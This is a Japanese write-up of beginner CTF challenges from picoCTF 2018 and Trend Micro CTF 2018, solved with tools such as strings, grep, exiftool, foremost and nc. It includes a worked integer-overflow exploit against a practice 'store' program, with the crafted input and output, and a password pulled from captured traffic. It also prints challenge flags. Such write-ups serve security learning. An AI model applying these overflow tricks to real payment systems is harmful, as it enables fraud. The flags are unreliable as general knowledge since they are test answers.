picoCTF 2018 Write-up [Forensics]
- まえがき
- Forensics
- Forensics Warmup 1 - Points: 50
- Forensics Warmup 2 - Points: 50
- Reading Between the Eyes - Points: 150
- Recovering From the Snap - Points: 150
- admin panel - Points: 150
- hex editor - Points: 150
- Truly an Artist - Points: 200
- now you don't - Points: 200
- Lying Out - Points: 250
- What's My Name? - Points: 250
- まとめ
まえがき
前回の続きです.
今回はForensics
のWrite-upを書こうと思います.
Forensics
Forensics Warmup 1 - Points: 50
Can you unzip this file for me and retreive the flag?
アプローチ:読む
jpg
を開く
picoCTF{welcome_to_forensics}
Forensics Warmup 2 - Points: 50
Hmm for some reason I can't open this PNG? Any ideas?
アプローチ:ファイル形式を確認
> file flag.png flag.png: JPEG image data, JFIF standard 1.01, resolution (DPI), density 75x75, segment length 16, baseline, precision 8, 909x190, frames 3
> mv flag.png flag.jpg
picoCTF{extensions_are_a_lie}
Reading Between the Eyes - Points: 150
Stego-Saurus hid a message for you in this image, can you retreive it?
アプローチ:steganographyツールを使う
解く方法は色々とある
picoCTF{r34d1ng_b37w33n_7h3_by73s}
Recovering From the Snap - Points: 150
There used to be a bunch of animals here, what did Dr. Xernon do to them?
アプローチ:foremost
> file animals.dd animals.dd: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, root entries 512, sectors 20480 (volumes <=32 MB), Media descriptor 0xf8, sectors/FAT 20, sectors/track 32, heads 64, serial number 0x9b664dde, unlabeled, FAT (16 bit)
> foremost animals.dd Processing: animals.dd |*|
picoCTF{th3_5n4p_happ3n3d}
admin panel - Points: 150
We captured some traffic logging into the admin panel, can you find the password?
アプローチ:通信内容を確認する
pcap
形式でファイルが渡されるので普通はwireshark
やtshark
を使いますが今回は通信が暗号化されていないのでstrings
の結果をgrep
するだけでできます.
> strings data.pcap | grep picoCTF user=admin&password=picoCTF{n0ts3cur3_13597b43}
picoCTF{n0ts3cur3_13597b43}
hex editor - Points: 150
This cat has a secret to teach you. You can also find the file in /problems/hex-editor_2_c1a99aee8d919f6e42697662d798f0ff on the shell server.
アプローチ:バイナリファイルの可読部分を表示する
> strings hex_editor.jpg | grep pico Your flag is: "picoCTF{and_thats_how_u_edit_hex_kittos_22C1d865}"
picoCTF{and_thats_how_u_edit_hex_kittos_22C1d865}
Truly an Artist - Points: 200
Can you help us find the flag in this Meta-Material? You can also find the file in /problems/truly-an-artist_2_61a3ed7216130ab1c2b2872eeda81348.
アプローチ:ファイルのメタ情報を確認
exiftool
でメタ情報を確認するとflag
がでます.
strings
をgrep
するだけでもできます
> exiftool 2018.png ExifTool Version Number : 11.10 File Name : 2018.png Directory : . File Size : 13 kB File Modification Date/Time : 2018:09:28 17:26:37+09:00 File Access Date/Time : 2018:10:15 17:44:40+09:00 File Inode Change Date/Time : 2018:10:15 17:42:36+09:00 File Permissions : rwxrwx--- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 1200 Image Height : 630 Bit Depth : 8 Color Type : RGB Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Artist : picoCTF{look_in_image_7e31505f} Image Size : 1200x630 Megapixels : 0.756
picoCTF{look_in_image_7e31505f}
now you don't - Points: 200
We heard that there is something hidden in this picture. Can you find it?
アプローチ:画像処理
ダウンロードしたpng
のコントラストを調整するとflag
が見えます.
picoCTF{n0w_y0u_533_m3}
Lying Out - Points: 250
Some odd traffic has been detected on the network, can you identify it? More info here. Connect with
nc 2018shell1.picoctf.com 50875
to help us answer some questions.
You've been given a dataset of 4800 internet traffic logs for your organization's website. This dataset covers the number of unique IP addresses sending requests to the site in 15-minute "buckets", across a 24-hour day. The attached plot will help you see the daily pattern of traffic. You should see 3 spikes of traffic: one in the morning, one at midday, and one in the evening. Your organization needs your help to figure out whether some recent activity indicates unusual behavior. It looks like some logs have higher-than-usual traffic in their time bucket: many more unique IP addresses are trying to access the site than usual. This might be evidence that someone is trying to do something shady on your site.
アプローチ:traffic.pngを見ながら質問に答える
> nc 2018shell1.picoctf.com 50875 You'll need to consult the file `traffic.png` to answer the following questions. Which of these logs have significantly higher traffic than is usual for their time of day? You can see usual traffic on the attached plot. There may be multiple logs with higher than usual traffic, so answer all of them! Give your answer as a list of `log_ID` values separated by spaces. For example, if you want to answer that logs 2 and 7 are the ones with higher than usual traffic, type 2 7. log_ID time num_IPs 0 0 01:30:00 9726 1 1 02:45:00 11578 2 2 02:45:00 9846 3 3 02:45:00 9971 4 4 03:15:00 10155 5 5 04:15:00 11583 6 6 06:15:00 11589 7 7 09:30:00 9874 8 8 11:00:00 11016 9 9 12:00:00 14125 10 10 12:00:00 13715 11 11 13:00:00 12936 12 12 20:45:00 9925 13 13 20:45:00 10282 1 5 6 11 Correct! Great job. You've earned the flag: picoCTF{w4y_0ut_ff5bd19c}
picoCTF{w4y_0ut_ff5bd19c}
What's My Name? - Points: 250
Say my name, say my name.
アプローチ:say my nameはDNS
6.5MB程度のmyname.pcap
が降ってきます.
まともに当該パケットを探すと大変そうなので問題文に従い,dns
関連パケットを確認します.
picoCTF{w4lt3r_wh1t3_ddfad6f8f4255adc73e862e3cebeee9d}
まとめ
- 簡単な問題しか解けなかったのでファイルシステムなどの勉強を進めていきたい
picoCTF 2018 Write-up [General Skills]
- picoCTFとは
- 成績
- まえがき
- General Skills
- General Warmup 1 - Points: 50
- General Warmup 2 - Points: 50
- General Warmup 3 - Points: 50
- Resources - Points: 50
- grep 1 - Points: 75
- net cat - Points: 75
- strings - Points: 100
- pipe - Points: 110
- grep 2 - Points: 125
- Aca-Shell-A - Points: 150
- environ - Points: 150
- ssh-keyz - Points: 150
- what base is this? - Points: 200
- you can't see me - Points: 200
- absolutely relative - Points: 250
- in out error - Points: 275
- store - Points: 400
- script me - Points: 500
- まとめ
picoCTFとは
PICOCTF IS A FREE COMPUTER SECURITY GAME TARGETED AT MIDDLE AND HIGH SCHOOL STUDENTS. THE GAME CONSISTS OF A SERIES OF CHALLENGES CENTERED AROUND A UNIQUE STORYLINE WHERE PARTICIPANTS MUST REVERSE ENGINEER, BREAK, HACK, DECRYPT, OR DO WHATEVER IT TAKES TO SOLVE THE CHALLENGE. picoctf.com
成績
1人で参加してこんな感じでした.
591位/10999チーム(参加人数:27000人以上)
まえがき
picoCTFは問題数が多いのでジャンル毎にwrite-upを書いていこうと思います.
General Skills
General Skills
ではコンピュータサイエンスに関わる基本的な問題が出題されます.
General Warmup 1 - Points: 50
If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII?
アプローチ:ASCII
picoCTF{A}
General Warmup 2 - Points: 50
Can you convert the number 27 (base 10) to binary (base 2)?
アプローチ:2進数
picoCTF{11011}
General Warmup 3 - Points: 50
What is 0x3D (base 16) in decimal (base 10)?
アプローチ:16進数
picoCTF{61}
Resources - Points: 50
We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag!
https://picoctf.com/resources
アプローチ:ページのリソースを読む
リンク先にフラグが記述されています
Thanks for reading the resources page! Here’s a flag for your time: picoCTF{xiexie_ni_lai_zheli}
picoCTF{xiexie_ni_lai_zheli}
grep 1 - Points: 75
Can you find the flag in file? This would be really obnoxious to look through by hand, see if you can find a faster way. You can also find the file in /problems/grep-1_2_ee2b29d2f2b29c65db957609a3543418 on the shell server.
アプローチ:grep
> grep picoCTF file picoCTF{grep_and_you_will_find_42783683}
picoCTF{grep_and_you_will_find_42783683}
net cat - Points: 75
Using netcat (nc) will be a necessity throughout your adventure. Can you connect to 2018shell1.picoctf.com at port 10854 to get the flag?
アプローチ:nc
> nc 2018shell1.picoctf.com 10854 That wasn't so hard was it? picoCTF{NEtcat_iS_a_NEcESSiTy_c97963fe}
picoCTF{NEtcat_iS_a_NEcESSiTy_c97963fe}
strings - Points: 100
Can you find the flag in this file without actually running it? You can also find the file in /problems/strings_2_b7404a3aee308619cb2ba79677989960 on the shell server.
アプローチ:strings
> strings strings | grep pico picoCTF{sTrIngS_sAVeS_Time_3f712a28}
picoCTF{sTrIngS_sAVeS_Time_3f712a28}
pipe - Points: 110
During your adventure, you will likely encounter a situation where you need to process data that you receive over the network rather than through a file. Can you find a way to save the output from this program and search for the flag? Connect with
2018shell1.picoctf.com 37542
.
アプローチ:ncとgrepをパイプでつなぐ
> nc 2018shell1.picoctf.com 37542 | grep picoCTF picoCTF{almost_like_mario_a6975cdb}
picoCTF{almost_like_mario_a6975cdb}
grep 2 - Points: 125
This one is a little bit harder. Can you find the flag in /problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a/files on the shell server? Remember, grep is your friend.
アプローチ:grepのオプションを使う
シェルサーバの指定されたディレクトリに移動すると複数のファイルがある.
この中からflag
を見つける必要があるのでgrep
の-r
を使う.
satto1237@pico-2018-shell-1:/problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a/files$ ls files0 files1 files2 files3 files4 files5 files6 files7 files8 files9
satto1237@pico-2018-shell-1:/problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a/files$ cd .. satto1237@pico-2018-shell-1:/problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a$ ls files satto1237@pico-2018-shell-1:/problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a$ grep -r "picoCTF" files files/files9/file13:picoCTF{grep_r_and_you_will_find_4baaece4}
picoCTF{grep_r_and_you_will_find_4baaece4}
Aca-Shell-A - Points: 150
It's never a bad idea to brush up on those linux skills or even learn some new ones before you set off on this adventure! Connect with nc
2018shell1.picoctf.com 6903
.
アプローチ:基本的なlinuxコマンドの使い方を知る
nc
すると状況に合わせてlinuxのコマンドを入力しろという問題が降ってくるのであれこれ入力する.
ls cd secret ls rm i* echo 'Drop it in!' cd .. cd executables ./dontLookHere whoami cd .. cp /tmp/TopSecret passwords cd passwords ls cat passwords
picoCTF{CrUsHeD_It_dddcec58}
cp
の挙動がおかしくて解くのにかなり時間がかかった(cp
が正常に実行されない)
cp /tmp/TopSecret passwords
と入力しているはずなのになぜかpasswords
にTopSecret
がコピーされなかった.
environ - Points: 150
Sometimes you have to configure environment variables before executing a program. Can you find the flag we've hidden in an environment variable on the shell server?
アプローチ:環境変数を表示する
satto1237@pico-2018-shell-1:~$ printenv SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492} FLAG=Finding the flag wont be that easy...
picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}
ssh-keyz - Points: 150
As nice as it is to use our webshell, sometimes its helpful to connect directly to our machine. To do so, please add your own public key to ~/.ssh/authorized_keys, using the webshell. The flag is in the ssh banner which will be displayed when you login remotely with ssh to with your username.
アプローチ:sshする
ssh-keygen
してからssh-copy-id
するとflag
が降ってきます.
picoCTF{who_n33ds_p4ssw0rds_38dj21}
what base is this? - Points: 200
To be successful on your mission, you must be able read data represented in different ways, such as hexadecimal or binary. Can you get the flag from this program to prove you are ready? Connect with nc
2018shell1.picoctf.com 15853
アプローチ:変換スクリプト書いてあげる
> nc 2018shell1.picoctf.com 15853 We are going to start at the very beginning and make sure you understand how data is stored. Please give me the 01100011 01100001 01101011 01100101 as a word. To make things interesting, you have 30 seconds. Input: cake Please give me the 737469746368 as a word. Input: stitch Please give me the 147 151 155 160 as a word. Input: gimp You got it! You're super quick! Flag: picoCTF{delusions_about_finding_values_3cc386de}
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import binascii def b2a(str): bins = str.split(' ') ascii = [chr(int(x,2)) for x in bins] print(''.join(ascii)) def h2a(str): print(binascii.unhexlify(str)) def o2a(str): octs = str.split(' ') ascii = [chr(int(x,8)) for x in octs] print(''.join(ascii))
you can't see me - Points: 200
'...reading transmission... Y.O.U. .C.A.N.'.T. .S.E.E. .M.E. ...transmission ended...' Maybe something lies in /problems/you-can-t-see-me_4_8bd1412e56df49a3c3757ebeb7ead77f
アプローチ:viewコマンド
とりあえずシェルサーバの指定されたディレクトリに移動してls -la
してみると怪しいdotファイルがあることがわかります.
satto1237@pico-2018-shell-1:/problems/you-can-t-see-me_4_8bd1412e56df49a3c3757ebeb7ead77f$ ls -la total 60 drwxr-xr-x 2 root root 4096 Sep 28 08:29 . -rw-rw-r-- 1 hacksports hacksports 57 Sep 28 08:29 . drwxr-x--x 576 root root 53248 Sep 30 03:45 ..
cat
でdotファイルを見ようとするとカレントディレクトリである.
を見ようとしてしまうためview
を使います.
picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_22f627d9}
absolutely relative - Points: 250
In a filesystem, everything is relative ¯_(ツ)_/¯. Can you find a way to get a flag from this program? You can find it in /problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd on the shell server. Source.
#include <stdio.h> #include <string.h> #define yes_len 3 const char *yes = "yes"; int main() { char flag[99]; char permission[10]; int i; FILE * file; file = fopen("/problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd/flag.txt" , "r"); if (file) { while (fscanf(file, "%s", flag)!=EOF) fclose(file); } file = fopen( "./permission.txt" , "r"); if (file) { for (i = 0; i < 5; i++){ fscanf(file, "%s", permission); } permission[5] = '\0'; fclose(file); } if (!strncmp(permission, yes, yes_len)) { printf("You have the write permissions.\n%s\n", flag); } else { printf("You do not have sufficient permissions to view the flag.\n"); } return 0; }
アプローチ:相対パス
プログラムを読む限り,permission.txt
を読み込み,中身がyes
である場合フラグを表示してくれることが分かります.
さっそくpermission.txt
を作成しようしますが,/problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd
ではファイルの作成権限がないようです.
仕方ないので/home/satto1237
に移動し,permission.txt
を作成します.
その後,absolutely-relative
を実行すればflagがとれます.
satto1237@pico-2018-shell-1:~$ /problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd/absolutely-relative You have the write permissions. picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}
picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}
in out error - Points: 275
Can you utlize stdin, stdout, and stderr to get the flag from this program? You can also find it in /problems/in-out-error_2_c33e2a987fbd0f75e78481b14bfd15f4 on the shell server
アプローチ:入出力をパイプでつなぐ
とりあえず実行してみると文字が沢山出力されます.
satto1237@pico-2018-shell-1:/problems/in-out-error_2_c33e2a987fbd0f75e78481b14bfd15f4$ ./in-out-error Hey There! If you want the flag you have to ask nicely for it. Enter the phrase "Please may I have the flag?" into stdin and you shall receive. Please may I have the flag? Thank you for asking so nicely! pWiec'orCeT Fn{op 1spt1rnagn_g1eSr_s4 _t7oh 1lnogv_eb 6Yfo5ua 7k8n8o}wp itchoeC TrFu{lpe1sp 1anngd_ 1sSo_ 4d_o7 hI1 nAg _fbu6lfl5 ac7o8m8m}iptimceonCtT'Fs{ pw1hpa1tn gI_'1mS _t4h_i7nhk1inngg_ bo6ff 5Yao7u8 8w}opuilcdonC'TtF {gpe1tp 1tnhgi_s1 Sf_r4o_m7 ha1nnyg _obt6hfe5ra 7g8u8y} p iIc ojCuTsFt{ pw1apn1nnag _t1eSl_l4 _y7ohu1 nhgo_wb 6If'5ma 7f8e8e}lpiincgo CGToFt{tpa1 pm1ankge_ 1ySo_u4 _u7nhd1enrgs_tba6nfd5 a 7N8e8v}epri cgooCnTnFa{ pg1ipv1en gy_o1uS _u4p_ 7Nhe1vnegr_ bg6ofn5naa7 8l8e}tp iycoouC TdFo{wpn1 pN1envge_r1 Sg_o4n_n7ah 1rnugn_ ba6rfo5uan7d8 8a}npdi cdoeCsTeFr{tp 1ypo1un gN_e1vSe_r4 _g7ohn1nnag _mba6kfe5 ay7o8u8 }cpriyc oNCeTvFe{rp 1gpo1nnnga_ 1sSa_y4 _g7oho1dnbgy_eb 6Nfe5vae7r8 8g}opnincao CtTeFl{lp 1ap 1lnige_ 1aSn_d4 _h7uhr1tn gy_obu6 f gN_e1vSe_r4 _g7ohn1nnag _gbi6vfe5 ay7o8u8 }uppi cNoeCvTeFr{ pg1opn1nnag _l1eSt_ 4y_o7uh 1dnogw_nb 6Nfe5vae7r8 8g}opnincao CrTuFn{ pa1rpo1unngd_ 1aSn_d4 _d7ehs1enrgt_ by6ofu5 aN7e8v8e}rp igcoonCnTaF {mpa1kpe1 nygo_u1 Sc_r4y_ 7Nhe1vnegr_ bg6ofn5naa7 8s8a}yp igcoooCdTbFy{ep 1Npe1vnegr_ 1gSo_n4n_a7 ht1enlgl_ ba6 fl5iae7 8a8n}dp ihcuorCtT Fy{opu1 p ...
grep
したくなるのでパイプでつなぎます.
satto1237@pico-2018-shell-1:/problems/in-out-error_2_c33e2a987fbd0f75e78481b14bfd15f4$ echo "Please may I have the flag?" | ./in-out-error | grep picoCTF picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF {p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng _1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7 h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6 f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788} picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF {p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng _1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7 h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6 f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788} picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF {p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng _1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7 h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6 f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788} picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF {p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}
picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}
store - Points: 400
We started a little store, can you buy the flag? Source.
Connect with2018shell1.picoctf.com 5795
.
#include <stdio.h> #include <stdlib.h> int main() { int con; con = 0; int account_balance = 1100; while(con == 0){ printf("Welcome to the Store App V1.0\n"); printf("World's Most Secure Purchasing App\n"); printf("\n[1] Check Account Balance\n"); printf("\n[2] Buy Stuff\n"); printf("\n[3] Exit\n"); int menu; printf("\n Enter a menu selection\n"); fflush(stdin); scanf("%d", &menu); if(menu == 1){ printf("\n\n\n Balance: %d \n\n\n", account_balance); } else if(menu == 2){ printf("Current Auctions\n"); printf("[1] I Can't Believe its not a Flag!\n"); printf("[2] Real Flag\n"); int auction_choice; fflush(stdin); scanf("%d", &auction_choice); if(auction_choice == 1){ printf("Imitation Flags cost 1000 each, how many would you like?\n"); int number_flags = 0; fflush(stdin); scanf("%d", &number_flags); if(number_flags > 0){ int total_cost = 0; total_cost = 1000*number_flags; printf("\nYour total cost is: %d\n", total_cost); if(total_cost <= account_balance){ account_balance = account_balance - total_cost; printf("\nYour new balance: %d\n\n", account_balance); } else{ printf("Not enough funds\n"); } } } else if(auction_choice == 2){ printf("A genuine Flag costs 100000 dollars, and we only have 1 in stock\n"); printf("Enter 1 to purchase"); int bid = 0; fflush(stdin); scanf("%d", &bid); if(bid == 1){ if(account_balance > 100000){ printf("YOUR FLAG IS:\n"); } else{ printf("\nNot enough funds for transaction\n\n\n"); }} } } else{ con = 1; } } return 0; }
アプローチ:Integer Overflow
コードから残金が100000ドルを超えるとフラグを取得できることが読み取れます.
しかし,初期の残金は1100ドルであり,増やす方法はないように思われます.
ここでInteger Overflow
を使います.
以下のコードのnumber_flags
にIOF
の余地があります.
1000*number_flags
がint
の最大値を超えるような値を入力すれば total_cost
が負の値になり,残金が増えます.
if(auction_choice == 1){ printf("Imitation Flags cost 1000 each, how many would you like?\n"); int number_flags = 0; fflush(stdin); scanf("%d", &number_flags); if(number_flags > 0){ int total_cost = 0; total_cost = 1000*number_flags; printf("\nYour total cost is: %d\n", total_cost); if(total_cost <= account_balance){ account_balance = account_balance - total_cost; printf("\nYour new balance: %d\n\n", account_balance); } else{ printf("Not enough funds\n"); } } }
> nc 2018shell1.picoctf.com 5795 Welcome to the Store App V1.0 World's Most Secure Purchasing App [1] Check Account Balance [2] Buy Stuff [3] Exit Enter a menu selection 2 Current Auctions [1] I Can't Believe its not a Flag! [2] Real Flag 1 Imitation Flags cost 1000 each, how many would you like? 2147483546 Your total cost is: -102000 Your new balance: 103100 Welcome to the Store App V1.0 World's Most Secure Purchasing App [1] Check Account Balance [2] Buy Stuff [3] Exit Enter a menu selection 2 Current Auctions [1] I Can't Believe its not a Flag! [2] Real Flag 2 A genuine Flag costs 100000 dollars, and we only have 1 in stock Enter 1 to purchase1 YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_dbd42a50} Welcome to the Store App V1.0 World's Most Secure Purchasing App [1] Check Account Balance [2] Buy Stuff [3] Exit Enter a menu selection
picoCTF{numb3r3_4r3nt_s4f3_dbd42a50}
script me - Points: 500
Can you understand the language and answer the questions to retrieve the flag? Connect to the service with nc
2018shell1.picoctf.com 7866
アプローチ:頑張ってソルバを書く
nc
すると
Rules: () + () = ()() => [combine] ((())) + () = ((())()) => [absorb-right] () + ((())) = (()(())) => [absorb-left] (())(()) + () = (())(()()) => [combined-absorb-right] () + (())(()) = (()())(()) => [combined-absorb-left] (())(()) + ((())) = ((())(())(())) => [absorb-combined-right] ((())) + (())(()) = ((())(())(())) => [absorb-combined-left] () + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative] Example: (()) + () = () + (()) = (()()) Let's start with a warmup. ()() + ()()() = ???
このような問題が降ってきます.
実際に書いたソルバ
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from socket import * """ Rules: () + () = ()() => [combine] ((())) + () = ((())()) => [absorb-right] () + ((())) = (()(())) => [absorb-left] (())(()) + () = (())(()()) => [combined-absorb-right] () + (())(()) = (()())(()) => [combined-absorb-left] (())(()) + ((())) = ((())(())(())) => [absorb-combined-right] ((())) + (())(()) = ((())(())(())) => [absorb-combined-left] () + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative] """ def depth(par): count = 0 max = 0 for x in par: if x == '(': count += 1 if max < count: max = count else: count -=1 return max def combine(pars, x, n, ans): print(x,ans) if depth(ans) == depth(pars[x]): # depth: left == right ans = ans + pars[x] if n == x: return ans else : return combine(pars, x + 1, n, ans) elif depth(ans) > depth(pars[x]): # depth: left > right ans = ans[:-1] + pars[x] + ')' if n == x: return ans else: return combine(pars, x + 1, n, ans) else: # depth: left < right ans = '(' + ans + pars[x][1:] if n == x: return ans else: return combine(pars, x + 1, n, ans) if __name__ == '__main__': s = socket(AF_INET, SOCK_STREAM) s.connect(('2018shell1.picoctf.com', 7866)) for i in range(15): rec = s.recv(16384).decode('utf-8') if '???' in rec: rec = rec.split('\n') temp = [x for x in rec if '???' in x] index = temp[0].find(' = ') formula = temp[0][:index] print('-' * 100) print(formula) print('-' * 100) n = len(formula.split(' + ')) f = formula.split(' + ')[0] res = combine(formula.split(' + '), 1, n - 1, f) print(res) s.send(res.encode('utf-8')+b'\n') elif 'Final' in rec: f1 = rec.split('\n')[3] print('f1') print(f1) rec = s.recv(16384).decode('utf-8') rec = rec.split('\n') temp = [x for x in rec if '???' in x] index = temp[0].find(' = ') f2 = temp[0][:index] print('f2') print(f2) formula = f1 + f2 print('-' * 100) print(formula) print('-' * 100) n = len(formula.split(' + ')) f = formula.split(' + ')[0] res = combine(formula.split(' + '), 1, n - 1, f) print(res) s.send(res.encode('utf-8')+b'\n') else: print(rec)
picoCTF{5cr1pt1nG_l1k3_4_pRo_45ca3f85}
お気持ち
最終問題はこのように分割された状態で送られてくる
この分割に気づかず時間がとけた
(()(())(())) + (()())(()()()) + ((()()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + (((()()()(())()())()(((()()())()())()()))()(())((()))(((())))((((()))))) + ((()())(())()()()(()()())) + ((()())(())()()()(()()()()()()()())) + (((())())(()()()(())()())()(((()()())()())()())) + (()()()()()()()(())((()))(((())))((((()))))) + ((((()())()(()))()(((()()())()())()()))((()(())((()))(((())))()()))()) + ((()()(()))()(((()()())()())()())) + ((())()()()()(())) + ((()()())()(())((()))(((())))((((()))))) + ((())()(())((()))(((())))((((()))))) + ((()())()(())()()()) + (((()((()())()())())()(((()()())()())()()))()(())((()))(((())))((((()))))) + (()()()()()()()()()(())()()) + ((()()()()()()()()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + (()()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + ((()()()()()())()()()(())()()) + (((()())()(())()())()(())((()))(((())))((((()))))) + ((()()()()((()())()())())((()(())((()))(((())))()()))()) + (((()())(())()()())()(((()()())()())()())) + ((()())()(()))((())()(()()()()()()()())) + ((()()()(((()()())()())()()))()(())((()))(((())))((((()))))) + (((())())(()()()(())()())((()())()())()) + ((()())(())()(()()()()()()()())) + (()()()())(()()()()()()()()) + (((()())((()())()())())()(((()()())()())()())) + ((()())(()()()()()()()())()()()(())()()) + (((()())( )(())()()())((()())()())()) + (((())()(()()()))((((()))))(((())))((()))(())()) + (((()())()()()(())()())((((()))))(((())))((()))(())()) + ((()()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) + ((()()()()())((()())()())()) + ((()(()))()(())((()))(((())))((((()))))) + (((()())()(())(()()()()()()()()))((((()))))(((())))((()))(())()) + ((())()(()()())) + (((())()()())((()(())((()))(((())))()()))()) + (((()())()(())(()()()()()()()()))()(((()()())()())()())) + (()(())(()()()()()()()())) + ((()()(()))(()()()(())()())((()(())((()))(((())))()()))()) + (()()(()))((())()(()()())) + (()()()()()()()) + ((()()()()()(())()())((((()))))(((())))((()))(())()) + ((()()()()()()()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) + ((()()(()))((())())()(((()()())()())()())) + ((()()()()()())((()())()())()) + ((()()()()()()()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + (()()()()())(()()()()()()()()) + ((()())()(())((()))(((())))((((())))))
まとめ
- 恥ずかしながら
view
コマンドを知らなかった - scipt meみたいな実装問題をサクッとキレイに解けるようになりたい(競プロ再開すべきなのか?)
Trend Micro CTF 2018 Write-up
Trend Micro CTF 2018とは
Trend Micro CTF 2018 – Raimund Genes Cupは、 安全なデジタル社会の実現を目指す トレンドマイクロが主催する、 サイバーセキュリティに関する 第4回目の世界的な競技大会です
成績
自分はMisc100
, Misc200
を解き,300点獲得しました.
Write-up
Misc100
Category: Misc
Points: 100
Brave Challenger, welcome!I will hand you the flag, just not on a silver platter. Closely analyze the file, peel it back layer by layer, examine it byte by byte and the flag will reveal itself.
Follow the rabbit hole, the flag is hiding at the end of the tunnel!
Get your hands dirty! Whip out all your tools! Use your hex editor! But also be careful my brave challenger, for it might blow up in your face.
Good Luck!
アプローチ:これ系の問題はforemost + binwalk
とりあえず EATME.pdf
が渡されるので strings
してみると
> strings EATME.pdf | grep flag.txt flag.txtUT
flag.txt
が埋め込めれていることが分かるので, foremost
してあげます.
./output/zip/00001462.zip
を得ることができるのでunzip
します.
> unzip 00001462.zip Archive: 00001462.zip Boooooom! flbn.txt: mismatching "local" filename (galf.txt), continuing with "central" filename version inflating: flbn.txt
しかし,微妙にunzip
が失敗する(flbn.txt
のせい)のでbinwalk
を使います.
